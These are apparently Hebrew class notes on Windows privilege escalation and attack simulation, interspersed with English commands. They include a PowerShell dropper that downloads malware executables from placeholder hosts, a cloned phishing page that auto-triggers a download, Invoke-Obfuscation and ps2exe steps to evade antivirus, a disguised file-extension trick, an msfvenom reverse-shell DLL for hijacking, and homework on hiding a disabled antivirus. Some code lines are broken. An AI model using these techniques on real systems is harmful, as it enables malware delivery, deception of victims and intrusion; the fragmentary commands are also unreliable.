**WINDOWS REMOTE PRIVELEGE ESCALATION**

מספר הפעולות לביצוע במערכת ווינדוס בשביל לעלות הרשאות הוא יחסית מאוד מוגבל והסיבה לכך היא שבכל הפצה של ווינדוס בהתאם לתנאים מסוימים יהיה אפשרית פעולה אחת מתוך כמה

שיטה 1 : ישנו מודול שלם בMETASPLOIT הנקרה PRIV

use priv >> getsystem

יש 2 דברים שניתן לנצל כשמדברים על הלעת הרשאות בווינדוס

1. תוכניות של מיקרוסופט
2. לנצל תוכניות צד שלישי

מודל ההרשאות בWINDOWS: מייקרוסופט מבצעים כמות אדירה של פעולות כדי להגן על הווינדוס

מערכת ווינדוס באה באופן דפולטיבי עם הגנות ומערכות שמעדכנות את המערכות על מנת להפוך את ווינדוס למערכת סגורה הרמטית

דגמאות למערכות הגנה:

* UAC - USER ACCESS CONTROL - זו מערכת הגנה שתפקידה להתריע למשתמש על כל פעולה שקשורה לAבטחה
* DAC - DYNAMIC ACCESS CONTROL - פיוצ'ר הגנתי שיש בסרבר 2012 ואלה... והמטרה שלו זה להגדיר הרשאות אבטחה בגישה למשאבים באופן דינמי.
* ACL - במערכת ווינדוס מוגדר ACL הפייצ'ר הזה מגדיר הרשאות פר משתמש לקבצים, לתהליכים, לאירועים וכו...

בדיקת הרשאות:

accesschk

יש כלי בשם ACCESSCHK שאיתו ניתן לבדוק מהם ההרשאות לקבצים במערכת

.\accesschk everyone -uqws c:\\*.dll

SERVICE PERMISSIONS - כל שירות שרץ בווינדוס, בתחילת השרות המערכת בודקת באיזה הרשאות הוא צריך לרוץ וכל הרצה מדביקה לו פרמטר שמייצג את ההרשאה

SERVICE\_CHANGE\_CONFIG -- permission to change config

WRITE\_DAC

WRITE\_OWNER

לעיתים קרובות יש צורך בגישה ויזואלית מסויימת בשביל לעלות הרשאות.

דריכים להגיע לויזואליזציה:

1. reg add "HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\control\Terminal Server" /v fDenyTSConnections /t REG\_DWORD /d 0 /f

תפקודה הזאת מריצים משל מרוחק כדי לעלות מADMIN לSYSTEM

**דימוי מצב תקיפה אמיתי**

דרישות:

1. powerstager

שלב 1 - יצירת powershell\_reverse\_tcp --obsfucation

שלב 2 - יצירת סקריפט בPOWERSHELL שמוריד את הוירוס שלי

@echo off

notepad.exe

(New-Object System.Net.WebClient).DownloadFile("http://filelinkhere/malware1.exe", "$Env:Temp\m1.exe")

(New-Object System.Net.WebClient).DownloadFile("http://filelinkhere/Sources.cs", "$Env:Temp\Sources.cs")

System.Net.WebClient).DownloadFile("http://filelinkhere/malware2.exe", "$Env:Temp\m2.exe")

System.Net.WebClient).DownloadFile("http://psexeclinkhere.zip", "$Env:Temp\pstools.exe")

cd $Env:TEMP

Expand-Archive PSTools.zip -DestinationPath $Env:TEMP/psexec/

.\h.exe >>>>>>>>> ALL THIS^ IN PS1 FILE

httrack <cloned site here> >>>>>>>> clone a site

nano index.html

<script src=<https://ajax.googleapis.com/ajax/libs/jquery/3.4.0/jquery.min.js>></script> >>>>>>>>>>>> add to <head> to more function

<a href=<http://10.0.0.0:4444/test.txt> download>link</a>

<script type="text/javascript">

$(document).ready(function () {$("a").click()

שלב 3 - כדי להתגבר על הרצת קובץ POWERSHELL אפשר להשתמש בpowershell2exe

invoke obfuscation github - לוקח סקריפט ועושה לENCODE כך שאנטי וירוסים לא יעלו עליו

run

powershell -ExecutionPolicy Bypass

import-Module .\Invoke-obfuscation.psd1

Inoke-Obfuscation

set scriptpath <scriptpath>

encoding

\7

copy

>>>> paste to new txt file >> change it to ps1 >> download ps2exe >> move the file to examples

\*from powershell\*

cd /ps2exe

./ps2exe.ps1 -inputfile <path to file here> -outputfile <newfile> -iconFile <path>

\*rename the file to :\* name\_txt.exe >> special symbol lifnei a txt

psexec leosif basof /accepteula

UNWORDED SERVICES -

דרישות:

1. סרביס שעולה בהלעת המערכת בהרשאות סיסטם
2. לשירות שעולה אין ""
3. רווח בשם

Computer\HKEY\_CURRENT\_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

wmic service get name,pathname,startname | findstr NT ---- mehapes unkworded services

**DLL HIJACKING** - יש כמות אדירה של תוכניות שחסר להם קובץ DLL

יש 2 סוגי תוכניות שניתן להפעיל עליהם DLL HIJACKING

1. סרביס שרץ במערכת
2. קבצי דרייבר

מציאת DLL HIJACKING:

procmon זה מציג תהליכים שרצים ומה התהליכים מיבאים

filter >> processname,cointains, bginfo

filter >> endswith, dll

filter >> result is NOT FOUND

שלב הבא: יצירה עם MSFVENOM

msfvenom -p windows/meterpreter/reverse\_tcp <kol a tags> -o path/dwmapi.dll -f dll >>> POTEAH AAZANA

שלב הבא: מוריד את הקובץ במחשב של הקורבן

(new-object ……

**שיעורי בית:**

1. לבדוק דרך הregistry איך מאפשרים ללינוקס להתחבר לRDP
2. RESOURCE HACKER
3. לבדוק איך מכבים SECURITY NOTIFICATIONS דרך הregistry
4. איך לכבות AV אבל שיראה כאילו הוא פועל
5. SUGGESTER github לקרוא
6. WMIEXEC לקרוא